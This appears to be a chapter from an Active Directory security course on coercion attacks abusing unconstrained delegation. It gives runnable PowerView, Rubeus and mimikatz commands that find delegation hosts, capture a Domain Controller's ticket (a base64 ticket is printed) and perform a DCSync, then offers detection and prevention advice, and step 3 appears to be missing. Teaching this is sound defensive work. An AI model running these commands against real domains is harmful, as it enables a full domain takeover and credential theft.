

Chapter 12: Coercing Attacks & Unconstrained Delegation

1 The Concept: Forced Authentication and Delegation

Technical Concept: The Mechanics of Coercion

Coercing attacks allow any domain user to force a remote server (like a Domain Controller) to authenticate to an attacker-controlled machine.

- **The Attack Surface:** These attacks abuse various RPC functions, such as those used by the Print Spooler or the Encrypting File System (EFS), to trigger a reverse connection.
- **Unconstrained Delegation (UD):** A highly permissive configuration where a server is trusted to delegate to any service. When a user connects to a UD server, their Ticket Granting Ticket (TGT) is cached in the server's memory.
- **The Synergy:** By coercing a Domain Controller (DC1\$) to authenticate to a compromised server configured for UD (WS001), an attacker can capture the DC's TGT from memory.

The Grand Hotel Analogy: The Impersonated VIP Room Service

Imagine the hotel has a **Special Suite** (*Unconstrained Delegation Server*) where guests often leave their **Master Keycards** (*TGTs*) at the front desk for convenience.

- **The Coercion:** A Worker (*Bob*) uses a fake maintenance alert (*Coercer tool*) to trick the **General Manager (DC1)** into visiting the Special Suite immediately.
- **The Trust Error:** Following standard procedures, the General Manager hands over his **Master Keycard** to the suite's desk upon arrival.
- **The Theft:** Bob, who has already impersonated the suite's attendant (*Administrative rights on WS001*), simply picks up the Manager's Master Keycard from the desk.
- **The Result:** Bob now has a key that lets him into every room in the hotel, including the vault, while pretending to be the General Manager.

2 Real-World Scenario: The Trusted Administrative Jump Box

In a corporate environment, this attack is rarely "random." It targets the trust relationship between high-value servers and the Domain Controllers.

Technical Concept: The Common Misconfiguration

Imagine an IT department uses a central **Jump Box** (WS001) that administrators use to manage various legacy web services.

- **The Setup:** To ensure the admins can connect to any database or service without re-entering passwords, the Jump Box is configured with **Unconstrained Delegation**.
- **The Foothold:** An attacker compromises this Jump Box (perhaps through a phished credential or a web vulnerability).
- **The Trap:** The attacker doesn't try to "hack" the Domain Controller directly. Instead, they wait on the Jump Box and use a tool like **Coercer** to "trick" the DC into calling the Jump Box to verify a system task.
- **The Theft:** Because the DC trusts the Jump Box's delegation settings, it automatically hands over its identity (TGT) during the connection.

3 Attack Execution: Step-by-Step

3.1 Step 1: Identifying Unconstrained Delegation

We use **PowerView** to identify machines in the domain configured for unconstrained delegation.

```
>_ Terminal: Windows PowerShell (as bob)
```

```
Get-NetComputer -Unconstrained | select samaccountname
```

```
PS C:\Users\bob\Downloads> Get-NetComputer -Unconstrained | select samaccountname_
samaccountname
-----
DC1$
SERVER01$
WS001$
DC2$
```

3.2 Step 2: Monitoring for Incoming TGTs

On the compromised UD server (WS001), we use **Rubeus** to monitor for new logon events and capture the incoming TGT.

```
>_ Terminal: Windows PowerShell (Administrator Prompt on WS001)
```

```
.\Rubeus.exe monitor /interval:1
```



```

[*] 18/12/2022 22.55.52 UTC - Found new TGT:

User       : DC1$@EAGLE.LOCAL
StartTime  : 18/12/2022 23.30.21
EndTime    : 19/12/2022 09.30.21
RenewTill  : 24/12/2022 09.28.39
Flags      : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket : 

doIFdDCCBXCgAwIBBAEDAgEWooIEgDCCBHxhgGR4MIIEEDKADAgEFOQ0bC0VBR0xFLkxPQ0FMoiAwHqADAgECoRcwFRsGa3JidGd0
GwtFQUdMRS5MT0NBTKOCBDOwggQ2oAMCARKhAwIBAqKCBCEggQkv8ILT9IdJgNgjxbddnICsd5quqFnXS7m7YwJIM/lcwLy4SHI
i1iwbvsTiu078mz28R0sn7Mxvg2oVC7NTw+b2unvmQ3utrLTGaz02WYnGWSBu7gxs+I1/0ekW5ZSX3ESq0AGwPaqUcuWSDNNfOM
ws/8MlkJeFSFWeHwJL7FbzuCjZ2x/6UUL2IOYq00zaf3R+rDQJ6LqpDVAet53IoHDugduBfZoDHTZFntRAoYrmAWdcnFdUEpyZGH
Kj6i2M0TyrxUp3nq022BNB6v+sHgH3SWsMNIba+TYaeRdjiM2vJhGZTXDuro9rLkYFk1HPXuI/d0RfzVuq9Hh5hVCZRWcM3V2BN
eYRTMew+lvz1bBgdgK/wLYMS7J99F1V/r6K8zd07pQ0Zj216DfA42QINPswVL+89gy7PLLM5aYlw8n1bBdvTZrPbeOhtvdBy/pFB
fxrjHA+fw34/Yk+9k6oSPXCacQ/Rd1qZ/P57/0MDUYRLDs5EYO0xxGQPVFbOqhbG414vGRbi39ALj/MkYg629kCEb9K89p5teo6f
7w/4M6Ytun16sG3GxsWDG6d1ZP+fmmOr0nwdXgvT28NQxQ3EEMErX+BojUY6DdRBH2u3fcv1KOA5K7MDma+cVLaa0YjSYZ2IDRaC
0JcgC0Uexd6EFQPtSnikaA/zzYmu/PSYVXlCg7cFULJIIiPuN4f9VlD1V0qj8C3xCwtYo4zRk1LESUES9tGK/VfsmN0Q/Fx5ULIa7y
UND/d1HlQ+R6Fnh2GGUPk+LlVw+ScD0kf2nmmlsIwhnGmscpifS1lprX35Kh1x/y5+v9S7bdokZujPpyZactQ4wdfRK++b0Wo2ao
Ewrzjuq199JnTQHbXkqGgeKQedOPxOhDccQLYTm44wH73JuE+XoGKmdGbgXfjS8FLtinP9mvZA12NkQupnGYVzJ2rS1T0nf2VVUW
MfIgh8Nz4xyVdHV1iIV4ZrLI7u7ZwJtrLEsG00H0d/k6CpLxo5L7kzhkU+MJggdUFJvs3HskTxZmewEwSdKJn21YfAG1Q6X0nFqk
HdK3RUvXxcycwMvWdfYH2AW06+98q5h+TSJQrMcrrp9gT+khLPD4KL2n6+cvC3BVHqge5Nc16Lhw7kcNp+JcIzknWAsCZ1aXzhz3X
K78oolfZGaGGoNnDWLUQpYToVgXXS053HJ3Vgl0MwctV7l+gJdwmtac0VvHh8EAndeSPnEcN0X8mr/30k+9GwM1wtFQNF03CdoA
qRJBjyFw1h1KKuc61PTWuxVLWgmezshewoSL0J7V9G9qNpVQ10AgTK2SHeobItuD4rhDc3/0jJ4LzsXJieYbLK7dtVfxYtSbeu
ZqXhd7HcSq5SN4L0MEP1tScir+shxQC+hbs3oYx/rHfj8GDDEZ8UwY6I4JF4pQsApKOB3zCB3KADAgEAooHUBIHRfYHOMIHL0IHI
MIHFMiHCocswKaADAgESoSIEID59gBc+2myj4I7mPmXH542vha3A2zfkhbm/RxnK4oMSOQ0bC0VBR0xFLkxPQ0FMohEwD6ADAgEB
oQgW8hsEREMJXKMHAUAYAKEAAKURGA8yMDiYMTiXODiYmZayMVqmErgPMjAyMjEYMTkwODMwMjFapxeyDzIwMjIOMdgyODM5
WqNGwtFQUdMRS5MT0NBTKkgMB6gAwIBAqEXMUBubMtyYnRndBsLRUFHTEUuTE9DQUw=

[*] Ticket cache size: 5

```

3.4 Step 4: Using the Captured Ticket

Once the TGT is captured, we inject it into our session and perform a **DCSync** as the Domain Controller itself.

```

>_ Terminal: Windows PowerShell - Pass-the-Ticket & DCSync

.\Rubeus.exe ptt /ticket:<Base64EncodedTicket>
.\mimikatz.exe "lsadump::dcsync /domain:eagle.local /user:Administrator"

```

4 Detection & Prevention

Technical Concept: Hardening the Infrastructure

- **Prevention (Network Level):** Block outbound traffic to ports **139** and **445** from Domain Controllers to any non-critical infrastructure. This prevents the reverse connection required for coercion.
- **Prevention (RPC Firewall):** Use a third-party RPC firewall to block dangerous **OPNUMs** associated with coercing functions.
- **Detection (Firewall Logs):** Monitor for inbound connections to DCs followed immediately by unexpected outbound connections to port 445 on a workstation.
- **Detection (UD Monitoring):** Scrutinize any machine configured for Unconstrained Delegation; these should be highly limited and closely monitored.